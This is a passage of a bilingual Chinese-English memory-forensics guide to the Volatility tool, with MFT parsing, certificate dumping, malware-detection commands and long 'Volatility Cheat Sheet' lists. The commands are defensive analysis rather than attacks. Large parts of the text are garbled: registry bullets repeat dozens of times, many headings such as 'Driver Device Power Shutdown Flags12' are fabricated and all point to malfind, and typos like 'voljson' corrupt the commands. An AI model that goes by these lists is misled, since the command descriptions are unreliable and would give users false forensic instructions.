  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Hidden Registry RecentFileCache**
  * `volatility -f <memory_dump> --profile=<profile> recentfilecache`
* **Analyzing Hidden Registry AppCompatCache**
  * `volatility -f <memory_dump> --profile=<profile> appcompatcache`
* **Analyzing Hidden Registry Amcache**
  * `volatility -f <memory_dump> --profile=<profile> amcache`
* **Analyzing Hidden Registry BAM**
  * `volatility -f <memory_dump> --profile=<profile> bam`
* **Analyzing Hidden Registry UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Hidden Registry ShimCache**
  * \`volatility -

```bash
volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp
```

**NTFS文件系统**使用一个关键组件，称为\_主文件表\_（MFT）。该表至少包含卷上每个文件的一个条目，也包括MFT本身。关于每个文件的重要细节，如**大小、时间戳、权限和实际数据**，都封装在MFT条目中或在MFT外部但由这些条目引用的区域中。更多详细信息可以在[官方文档](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table)中找到。

**SSL密钥/证书**

```bash
#vol3 allows to search for certificates inside the registry
./vol.py -f file.dmp windows.registry.certificates.Certificates
```

**Volatility Cheat Sheet**

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `voljson -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping Registry Hives**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Dumping a Registry Hive** json
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Extracting Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
  * `volatility -f <memory_dump> --profile=<profile> dumpfiles -Q <physical_offset> -D <output_directory>`

**Advanced Commands**

* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Identifying Kernel Modules**
  * `voljson -f <memory_dump> --profile=<profile> modscan`
* **Analyzing Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Analyzing SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Timelining**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`
* **Analyzing PSScan**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing LDRModules**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Analyzing Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockets`
* **Analyzing Privileges**
  * `volatility -f <memory_dump> --profile=<profile> privs`
* **Analyzing Crashes**
  * `volatility -f <memory_dump> --profile=<profile> crashinfo`
* **Analyzing Yara Rules**
  * `volatility -f <memory_dump> --profile=<profile> yarascan`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing User Sessions**
  * `volatility -f <memory_dump> --profile=<profile> users`
* **Analyzing Registry Handles**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Analyzing Registry Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyjsoning Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Binaries**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Values**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Data**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Lists**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Timelining**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Registry Key Usage**
  * \`volatility -

```bash
#vol2 allos you to search and dump certificates from memory
#Interesting options for this modules are: --pid, --name, --ssl
volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp
```

#### 恶意软件

```bash
./vol.py -f file.dmp windows.malfind.Malfind [--dump] #Find hidden and injected code, [dump each suspicious section]
#Malfind will search for suspicious structures related to malware
./vol.py -f file.dmp windows.driverirp.DriverIrp #Driver IRP hook detection
./vol.py -f file.dmp windows.ssdt.SSDT #Check system call address from unexpected addresses

./vol.py -f file.dmp linux.check_afinfo.Check_afinfo #Verifies the operation function pointers of network protocols
./vol.py -f file.dmp linux.check_creds.Check_creds #Checks if any processes are sharing credential structures
./vol.py -f file.dmp linux.check_idt.Check_idt #Checks if the IDT has been altered
./vol.py -f file.dmp linux.check_syscall.Check_syscall #Check system call table for hooks
./vol.py -f file.dmp linux.check_modules.Check_modules #Compares module list to sysfs info, if available
./vol.py -f file.dmp linux.tty_check.tty_check #Checks tty devices for hooks
```

**Volatility Cheat Sheet**

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing DLLs**
  * `voljson -f <memory_dump> --profile=<profile> dlllist`
* **Dumping a DLL**
  * `volatility -f <memory_dump> --profile=<profile> dlldump -p <pid> -D <output_directory>`
* **Listing Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockscan`
* **Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Registry Analysis**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Dumping Registry Hive**
  * `voljson -f <memory_dump> --profile=<profile> printkey -o <output_directory>`
* **File Analysis**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Dumping a File** json -f \<memory\_dump> --profile= dumpfiles -Q \<address\_range> -D \<output\_directory>\`
* **Kernel Modules**
  * `volatility -f <memory_dump> --profile=<profile> modscan`
* **Dumping a Kernel Module**
  * `volatility -f <memory_dump> --profile=<profile> moddump -p <pid> -D <output_directory>`
* **Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Command History**
  * `volatility -f <memory_dump> --profile=<profile> cmdscan`
* **User Accounts**
  * `volatility -f <memory_dump> --profile=<profile> useraccounts`
* **Screenshots**
  * `volatility -f <memory_dump> --profile=<profile> screenshot -D <output_directory>`
* **Yara Scanning**
  * `volatility -f <memory_dump> --profile=<profile> yarascan --yara-file=<rules_file>`
* **API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Detecting Hidden Drivers** json -f \<memory\_dump> --profile= ldrmodules\`
* **Detecting Hidden DLLs**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Detecting Hidden TCP/UDP Ports**
  * `volatility -f <memory_dump> --profile=<profile> portscan`
* **Detecting Rootkits**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Injection**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Modules**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Strings**
  * `volatility -f <memory_dump> --profile=<profile> strings`
* **Detecting In-Memory Code**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Rootkits**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Hooks**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Mutexes**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Processes**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Services**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Timers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Windows**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Handles**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory IRPs**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Imports**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Unload**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Start**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Sections**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Registry**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver IRPs**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Handles**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Functions**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Objects**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Stacks**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Names**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Extensions**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Characteristics**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Flags**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Security**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Policy**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Capabilities**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power State**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Type**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Level**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags2**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags3**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags4**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags5**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags6**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags7**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags8**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags9**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags10**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags11**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags12**
